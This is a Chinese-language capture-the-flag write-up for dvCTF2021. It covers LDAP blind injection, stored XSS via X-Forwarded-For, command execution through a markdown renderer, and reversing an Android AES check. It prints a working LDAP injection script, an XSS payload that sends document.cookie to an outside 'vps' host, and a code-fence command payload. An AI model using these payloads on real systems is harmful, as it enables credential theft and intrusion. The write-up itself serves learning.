dvCTF2021-writeup

  1. 1. dvCTF2021
  2. 2. web
    1. 2.1. Lightweiight
    2. 2.2. High security
    3. 2.3. homework
  3. 3. re
    1. 3.1. Cryptex

dvCTF2021

老外办的一个小比赛 (打比赛还能学英语

官方的wp,docker等 https://github.com/louiswolfers/dvCTF2021

记录几个比较有意思的题目

web

Lightweiight

My company made me write a login page to authenticate against LDAP. Can you authenticate as admin?

image-20210315200747970

随便输点东西可以报错,结合题目描述就可以大致猜到是LDAP注入了

http://192.168.35.130:8080/?action=team可以找到有效用户

之前没接触过这个知识点,找了几篇资料

http://www.bendawang.site/2016/01/25/%E7%90%86%E8%A7%A3LDAP%E4%B8%8ELDAP%E6%B3%A8%E5%85%A5/

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection

这个题唯一比较难点就是确定各个字段了,比赛的时候花了很长时间才发现密码字段是Userpassword

然后发现通配符*只在Email处有效,后来根据题目docker文件才发现是password字段进行了md5处理

然后构造盲注:

email=jdoe@dvctf.local)(Userpassword=*))%00&password=abc 返回 Invalid username/password !

email=jdoe@dvctf.local)(Userpassword=a*))%00&password=abc返回 No such user !

比赛的时候就是跑不出来密码=.=

后来在discord经过一位老哥的提醒,才发现脚本写的有点问题2333

参考 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/README.md#exploiting-userpassword-attribute

userPassword在LDAP中是一个特殊字段,格式也比较特殊,写法如下:

1
2
3
userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx

当时写的脚本是直接userPassword=xxx,所以就没注出来

改之后的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
url="http://192.168.35.130:8080/"


def check(value):
BOOL = value.split('\n')[-1]
if BOOL == "Invalid username/password !" and "Warning" not in value:
return True
else:
return False

flag=""
stop=False
while stop != True:
for x in range(1,255):
tmp = "\\" + ("%x" % x).zfill(2)
data={
"email":f"mkiloa@dvctf.local)(userPassword:2.5.13.18:={flag+tmp}))\0",
"password":"123456"
}
r = requests.post(url=url,data=data)
if check(r.text):
flag = flag + "\\" + ("%x" % (x-1)).zfill(2)
print("Found: ", bytes.fromhex(flag.replace('\\', '')).decode())
if x-1==0:
stop=True
break

注出来是{MD5}Abr2pWImreR7Gj9jpet1PA== => Chicken123

POST: email=mkiloa@dvctf.local&password=Chicken123

官方脚本好一些 https://github.com/louiswolfers/dvCTF2021/blob/master/web/ldap_injection/DONTREAD_solution.py

最后看PHP代码,发现后面的登陆字段甚至不是userPassword,登陆逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$email = $_POST['email'];
$password = "{MD5}" . base64_encode(md5($_POST['password'], true));
$sr=ldap_search($ds, "ou=Users,dc=dvctf,dc=local", "(&(mail=$email)(objectClass=person))");

$info = ldap_get_entries($ds, $sr);
if($info["count"] === 0)
{
echo($form);
die("No such user !");
}
for ($i=0; $i<$info["count"]; $i++)
{
if($password === $info[$i]["userpassword"][0])
{
if($info[$i]["description"][0] === "sysadmin")
{
die("<center>Welcome <b>" . $info[$i]["cn"][0] . " </b>!<br>Here is your cute cat picture :<br><img src='secret_cat_pic.jpg' /><br><br><br><br><br><br><br><br><br><br><b>\nWell done, the flag is : $flag\n</b></center>");
}
else
{
die("<center>Welcome <b>" . $info[$i]["cn"][0] . " </b>!<br>Here is your cute cat picture :<br><img src='secret_cat_pic.jpg' /><br><br><br><br><br><br><br><br><br><br><b>\nYou are not the sysadmin, go back to work !!!\n</b></center>");
}
}
}
echo($form);
die("Invalid username/password !");

High security

You can now see who tried to connect to your account. What could go wrong?

比赛的时候有点懵逼.没太看懂题目意思.

后来发现题目只会记录登陆失败的IP,所以看不到记录.且记录的IP为 X-Forwarded-For

image-20210315200810930

尝试登陆admin账号密码触发xss即可.

1
2
3
4
import requests

headers = {"X-Forwarded-For": "<script>new Image().src='http://vps:1001/'+(document.cookie);</script>"}
print(requests.post("http://challs.dvc.tf:65535/login", headers=headers, data={'username': 'admin', 'password': 'admin'}).text)

image-20210315200825265

dvCTF{xss_l0ve<3}

homework

tips: 6666对于chrome来说是非安全端口,默认关闭

而题目是 http://xxx:6666/,就无法访问, 坑了一批人

用ie访问可以发现是一个渲染markdown的服务

渲染下面的可以执行命令,具体原因就不太清楚了..

1
2
3
```    {sh}
cat /app/flag
​```

re

Cryptex

java安卓逆向

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.dvctf.cryptex;

import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import com.dvctf.droid.R;
import java.security.MessageDigest;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import p000a.p002b.p003c.ActivityC0013e;
import p064b.p065a.p066a.p067a.outline;

public class LoginActivity extends ActivityC0013e {

/* renamed from: p */
public static byte[] f3745p = {-114, 62, 98, 26, 54, -7, -59, -47, 55, 88, 18, -1, -99, 116, -51, 62};

/* renamed from: q */
public static byte[] f3746q = {-84, 25, 77, -101, -53, -124, -100, 61, 74, 102, 50, -11, -24, 62, -54, -71};

/* renamed from: r */
public static byte[] f3747r = {11, -35, 55, 10, 62, 79, 125, 62, -28, 115, 77, 4, 73, 0, 11, 121, -126, 85, -83, 109, 1, -98, 35, -68, -4, -122, 14, 110, -28, 111, 22, -125};

public void a12dd3a7fd3203a452eb34d91a9be20569d5e337a3384347068895c07f3e0c5a(View view) {
String str;
byte[] bArr;
TextView textView = (TextView) findViewById(R.id.pass);
TextView textView2 = (TextView) findViewById(R.id.message);
byte[] bytes = textView.getText().toString().getBytes();
boolean z = false;
try {
byte[] bArr2 = f3745p;
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, 0, bArr2.length, "AES");
MessageDigest instance = MessageDigest.getInstance("SHA-256");
instance.reset();
byte[] digest = instance.digest(bytes);
try {
Cipher instance2 = Cipher.getInstance("AES/ECB/NoPadding");
instance2.init(1, secretKeySpec);
bArr = instance2.doFinal(digest);
} catch (Exception e) {
Log.w("Droid", "c6072170d758e5358d717360829bd1f9b1603b355b5f7fe375d1aabdca7a20de -> " + e.toString());
bArr = f3746q;
}
z = Arrays.equals(bArr, f3747r);
} catch (Exception e2) {
StringBuilder e3 = outline.m2617e("fe6c188aec175974b53dedd6d27a79184f6032823302f2b907f54cdafa005cbc -> ");
e3.append(e2.toString());
Log.w("Droid", e3.toString());
}
if (z) {
StringBuilder e4 = outline.m2617e("Congrats!! Validate the challenge with dvCTF{");
e4.append(textView.getText().toString());
e4.append("}");
str = e4.toString();
} else {
str = "Nice try";
}
textView2.setText(str);
}

@Override // androidx.activity.ComponentActivity, p000a.p027h.p028b.ActivityC0300g, p000a.p002b.p003c.ActivityC0013e, p000a.p047k.p048a.ActivityC0438e
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
}
}

先对输入求md5,

1
2
3
4
byte[] bytes=textView.getText().toString().getBytes();
MessageDigest instance = MessageDigest.getInstance("SHA-256");
instance.reset();
byte[] digest = instance.digest(bytes);

再进行AES加密,密钥已知

1
2
3
4
5
6
7
8
public static byte[] f3745p = {-114, 62, 98, 26, 54, -7, -59, -47, 55, 88, 18, -1, -99, 116, -51, 62};

byte[] bArr2 = f3745p;
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr2, 0, bArr2.length, "AES");

Cipher instance2 = Cipher.getInstance("AES/ECB/NoPadding");
instance2.init(1, secretKeySpec); // 1加密,2解密
bArr = instance2.doFinal(digest);

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;

import java.security.InvalidKeyException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;

public class Main{
public static void main(String[] args) {
// 密钥
byte[] f3745p = {-114, 62, 98, 26, 54, -7, -59, -47, 55, 88, 18, -1, -99, 116, -51, 62};
// 密文
byte[] f3747r = {11, -35, 55, 10, 62, 79, 125, 62, -28, 115, 77, 4, 73, 0, 11, 121, -126, 85, -83, 109, 1, -98, 35, -68, -4, -122, 14, 110, -28, 111, 22, -125};
// 转化为ASE专用密钥
SecretKeySpec secretKeySpec = new SecretKeySpec(f3745p, 0, f3745p.length, "AES");

try {
// 解密
Cipher instance2 = Cipher.getInstance("AES/ECB/NoPadding"); // // 创建密码器
instance2.init(Cipher.DECRYPT_MODE, secretKeySpec);
byte[] bArr = instance2.doFinal(f3747r);
System.out.println(byteArrayToHex(bArr));
// 386F72455FCDF95A9A16B3A4B7F9620CA8539B3888E9D6C885B95B4DFD21094C | JohnCena => flag: dvCTF{JohnCena}
}catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) {
e.printStackTrace();
} catch (BadPaddingException e) {
e.printStackTrace();
} catch (IllegalBlockSizeException e) {
e.printStackTrace();
}
}

// 字节数组转化为16进制表示的字符串
public static String byteArrayToHex(byte[] byteArray) {
// 首先初始化一个字符数组,用来存放每个16进制字符
char[] hexDigits = {'0','1','2','3','4','5','6','7','8','9', 'A','B','C','D','E','F' };
// new一个字符数组,这个就是用来组成结果字符串的(解释一下:一个byte是八位二进制,也就是2位十六进制字符(2的8次方等于16的2次方))
char[] resultCharArray =new char[byteArray.length * 2];
// 遍历字节数组,通过位运算(位运算效率高),转换成字符放到字符数组中去
int index = 0;
for (byte b : byteArray) {
resultCharArray[index++] = hexDigits[b>>> 4 & 0xf];
resultCharArray[index++] = hexDigits[b& 0xf];
}
// 字符数组组合成字符串返回
return new String(resultCharArray);
}
}